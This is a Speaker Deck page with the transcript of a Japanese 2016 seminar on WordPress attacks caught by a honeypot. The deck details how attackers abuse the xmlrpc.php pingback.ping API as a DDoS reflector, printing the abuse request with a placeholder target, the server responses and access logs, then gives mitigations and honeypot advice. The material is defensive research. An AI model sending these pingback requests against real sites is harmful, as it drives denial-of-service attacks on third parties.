Upgrade to Pro
— share decks privately, control downloads, hide ads and more …
Speaker Deck
Features
Speaker Deck
PRO
Sign in
Sign up for free
Search
Search
ハニーポットで捕らえるWordPressへの攻撃
Search
junk_coken
August 04, 2016
Technology
1
3.8k
ハニーポットで捕らえるWordPressへの攻撃
OSCKyoto2016 国立セキュリティ・キャンプ第12期同窓会
セミナー資料
junk_coken
August 04, 2016
Tweet
Share
More Decks by junk_coken
See All by junk_coken
HTTPSハニポとFingerprint
junk_coken
1
2k
6/14総サイLT~ハニーポットを作ってる話~
junk_coken
0
1.8k
ハニーポットで集める攻撃手法-seccamp2016
junk_coken
2
980
Other Decks in Technology
See All in Technology
TechBull Membersの開発進捗どうですか!?
rvirus0817
0
210
アプリケーションの中身が見える!Mackerel APMの全貌と展望 / Mackerel APMリリースパーティ
mackerelio
0
450
ゴリラ.vim #36 ~ Vim x SNS ~ スポンサーセッション
yasunori0418
1
350
技術書典18結果報告
mutsumix
2
180
いまさら聞けない Git 超入門 〜Gitって結局なに?から始める第一歩〜
devops_vtj
0
160
人とAIとの共創を夢見た2か月 #共創AIミートアップ / Co-Creation with Keito-chan
kondoyuko
1
710
会社紹介資料 / Sansan Company Profile
sansan33
PRO
6
360k
Introduction to Bill One Development Engineer
sansan33
PRO
0
240
GitHub Coding Agent 概要
kkamegawa
1
1.7k
Roo Codeにすべてを委ねるためのルール運用
pharma_x_tech
1
230
GoogleのAI Agent
shukob
0
130
What's Next in OpenShift Q2 CY2025
redhatlivestreaming
1
810
Featured
See All Featured
Done Done
chrislema
184
16k
How to train your dragon (web standard)
notwaldorf
92
6k
Rebuilding a faster, lazier Slack
samanthasiow
81
9k
CoffeeScript is Beautiful & I Never Want to Write Plain JavaScript Again
sstephenson
160
15k
RailsConf 2023
tenderlove
30
1.1k
The Myth of the Modular Monolith - Day 2 Keynote - Rails World 2024
eileencodes
25
2.8k
[RailsConf 2023] Rails as a piece of cake
palkan
55
5.6k
Helping Users Find Their Own Way: Creating Modern Search Experiences
danielanewman
29
2.6k
It's Worth the Effort
3n
184
28k
No one is an island. Learnings from fostering a developers community.
thoeni
21
3.3k
StorybookのUI Testing Handbookを読んだ
zakiyama
30
5.8k
Site-Speed That Sticks
csswizardry
7
590
Transcript
ハニーポットで捕らえる WordPressへの攻撃 国立セキュリティ・キャンプ第12期同窓會 junk_coken (@junk_coken)
自己紹介 •@junk_coken •セキュリティ・キャンプ全国大会2015参加 • 2016検知トラックチューター •ハニーポットを中心に独学研究している 自称ハニーポッター見習い
セミナー内容 •ハニーポットの紹介 •ハニーポットで捕れた WordPressへの攻撃解説 •時間の都合上1つだけ
ハニーポットとは?
ハニーポットとは? • わざと脆弱性がありそうなシステムを設置、 それに対して行われる攻撃ログ、マルウェアを収集する • 別に脆弱性を持っている必要はない • クラッカーの攻撃手法やマルウェアの実態がわかる
ハニーポットの環境
今回のハニーポット • NginxとWordPressで作ったハニーポット • 実際のシステムを使うことでより特化し柔軟なハニーポットに なる (ただしそれなりにリスクはある) • Raspberry Pi
2 & Raspbian • Raspberry Piでも十分快適!!!
今回の収集対象 •基本的にはHTTPのHTTPリクエスト(GET,POST) •WordPressなので、主にWordPressに対する攻撃を 集める • WordPress以外に対する攻撃も取れる
WordPress • ご存知有名なブログシステム • Pluginを利用することで拡張することができる • 今回は最低限のPluginを入れておく • 自作記事自動投稿プラグイン(ズンドコするやつ) •
WP-Mail-SMTP • Contact form 7 • Disable XML-RPC Pingback • 攻撃の有無はログで見分ける!
• (画像)
攻撃解説 xmlrpc.phpによるDDoS
XMLRPC.phpを狙ったDDoS踏み台攻撃 IPアドレス - - [日時] "GET /feed/ HTTP/1.1" 200 ※見辛いためログを簡略化しています
IPアドレス - - [日時] “POST /xmlrpc.php HTTP/1.0” 499 “<?xmlversion=¥x221.0¥x22?><methodCall><methodName>pingback.ping</m ethodName><params><param><value><string>外部のアドレス </string></value></param><param><value><string>記事のアドレス </string></value></param></params></methodCall>“ IPアドレス - - [日時] “POST /xmlrpc.php HTTP/1.0” 499 “<?xmlversion=¥x221.0¥x22?><methodCall><methodName>pingback.ping</m ethodName><params><param><value><string>外部のアドレス </string></value></param><param><value><string>記事のアドレス </string></value></param></params></methodCall>"
行動をトレースしてみる
①GET /feed/ XMLが返ってくる RSSのためのXML
①GET /feed/ <?xml version”1.0” encoding=“UTF-8”?> ・ ・ ・ <channel> ・
・ ・ <title>2016年07月26日、本日のZUNDOKOKIYOSHI!!</title> <link>記事URL</link> <comments>記事URL/#respond</comments> <pubDate>Mon, 25 Jul 2016 15:20:33 +0000</pubDate> <dc:creator><![CDATA[zundoko]]></dc:creator> <category><![CDATA[未分類]]></category> ↙記事があるかどうかをチェック
②POST /xmlrpc.php -request Content Type:application/xml “<?xml version= 1.0 ?> <methodCall>
<methodName>pingback.ping</methodName> <params><param> <value><string>攻撃先URL</string></value> </param><param> <value><string>WordPressの記事</string></value> </param></params> </methodCall>" このリクエストを何度も送信!!(DoS)
そもそもxmlrpc.phpとは? • XML-RPCというプロトコル • データをXMLで送受信しやすくするためのプロトコル • WordPressでXML-RPCを使うAPIが提供されている • XML-RPC WordPress
API • Blogger API, metaWeblog API, Movable Type API, Pingback API • xmlrpc.phpはXML-RPCのAPIを直接利用する • DDoSはXML-RPC API内のPingbackAPIを悪用し行われる
PingbackAPI • DDoSに悪用されるが、当然想定外 • PingBackは、他人の記事をリンクしたときに 「リンクしましたよ」と伝える機能 • このWordPress PingBackAPIは、WordPress同士での利用を想定して いる
• リンクした側がWordPressなら、リンクされた側がWordPressでなくても 送られる ↓ 悪用に繋がる
Pingback通常の動作 -request リンクするサイト:http://A.ex リンクされるサイト:http://B.ex POST http://B.ex/xmlrpc.php <?xml version= 1.0 ?>
<methodCall> <methodName>pingback.ping</methodName> <params> <param><value><string>http://A.ex/blogno1</string></value></param> <param><value><string>http://B.ex/blogno1</string></value></param> </params> </methodCall>
Pingback通常の動作 -response <?xml version="1.0" encoding="UTF-8"?> <methodResponse> <params><param><value> <string>http://A.ex より http://B.exへのピンバックが登録されま
した。ウェブでの会話を続けてください ! :-)</string> </value></param></params> </methodResponse>
Pingback通常の動作 -Arequest • 同時に、このリクエストも送信される GET http://B.ex/blogno1 UserAgent:“WordPress/4.5.3; http://A.ex; verifying pingback
from 送信元IP"
Pingback通常の動作(もう一回) -request POST /xmlrpc.php <?xml version= 1.0 ?> <methodCall> <methodName>pingback.ping</methodName>
<params> <param><value><string>http://A.ex/blogno1</string></value></param> <param><value><string>http://B.ex/blogno1</string></value></param> </params> </methodCall>
Pingback通常の動作(もう一回) -response <?xml version="1.0" encoding="UTF-8"?> <methodResponse> <fault> <value><struct><member> <name>faultCode</name> <value><int>48</int></value>
</member><member> <name>faultString</name> <value><string>そのピンバックはすでに登録済みです。</string></value> </member></struct></value> </fault> </methodResponse>
Pingback通常の動作(もう一回) -request •今度は、GETリクエストは送られない
どうやって悪用するか?
Pingback悪用時の動作 -request POST /xmlrpc.php <?xml version= 1.0 ?> <methodCall> <methodName>pingback.ping</methodName>
<params> <param><value><string>攻撃対象のURL</string></value></param> <param><value><string>WordPressの記事</string></value></param> </params> </methodCall>
Pingback悪用時の動作 -response <?xml version="1.0" encoding="UTF-8"?> <methodResponse> <fault> <value><struct><member> <name>faultCode</name> <value><int>0</int></value>
</member><member> <name>faultString</name> <value><string></string></value> </member></struct></value> </fault> </methodResponse>
Pingback悪用時の動作 -攻撃対象へのreq WordPressのIP - - [日時] “GET / HTTP/1.0” 200
25805 “-” “WordPress/4.5.3; WordPressのURL; verifying pingback from 攻撃者のIP" "-" "-" • WordPressではないのにアクセスされる・・・。
Pingback悪用時の動作(もう一回) -request POST /xmlrpc.php <?xml version= 1.0 ?> <methodCall> <methodName>pingback.ping</methodName>
<params> <param><value><string>攻撃対象のURL</string></value></param> <param><value><string>WordPressの記事</string></value></param> </params> </methodCall>
Pingback悪用時の動作(もう一回) -response <?xml version="1.0" encoding="UTF-8"?> <methodResponse> <fault> <value><struct><member> <name>faultCode</name> <value><int>0</int></value>
</member><member> <name>faultString</name> <value><string></string></value> </member></struct></value> </fault> </methodResponse>
Pingback悪用時の動作 -攻撃対象へのreq WordPressのIP - - [日時] “GET / HTTP/1.0” 200
25805 “-” “WordPress/4.5.3; WordPressのURL; verifying pingback from 攻撃者のIP" "-" "-" • 何度でも可能 ↓ • DDoSへ悪用
まとめ • WordPressのxmlrpc.phpはデフォルトでDDoSの脆弱性を抱えている • 悪用されないためには、xmlrpc.phpにアクセス制限を掛ける、 もしくはPingback APIを無効化するプラグインを利用する • しかし、プラグインによる無効化だとDoS自体は解消されない (VPS等ではお叱りを受ける可能性がある)
• ただし、このDDoSは効果が薄い • DDoSと同じ量をDoSしないといけない(1アクセスにつき1回) • 攻撃元IPがUserAgentであるが晒される • 非効率的だが、デフォルトで存在するので成功率は高い
おまけ ハニーポット、やってみませんか?
初めてのハニーポット • ハニーポットは大きく分けて2種類 • 低対話型:サービスをエミュレーション • 高対話型:実際のサービスをそのまま使う • Webサービスに対する攻撃を集めたい場合、 特に何もしないHTMLを置いておくだけでもある程度取れる。
• ただし高対話型なので更新は怠らないように • マルウェアを集めて解析を行いたい場合、低対話型を使う • おすすめはSSHハニーポットCowrie • ごりごりマルウェアが放り込まれる
注意点 • 契約プロバイダの禁止事項に抵触しないよう確認の上作りましょう。 • ハニーポットで知った攻撃方法を自分の管理外のコンピュータなど で試してはいけません。 • アクセス制御はしっかり行いましょう。 • 定期的にメンテナンスしましょう。
君も攻撃の実状を 確かみてみろ!!! -終-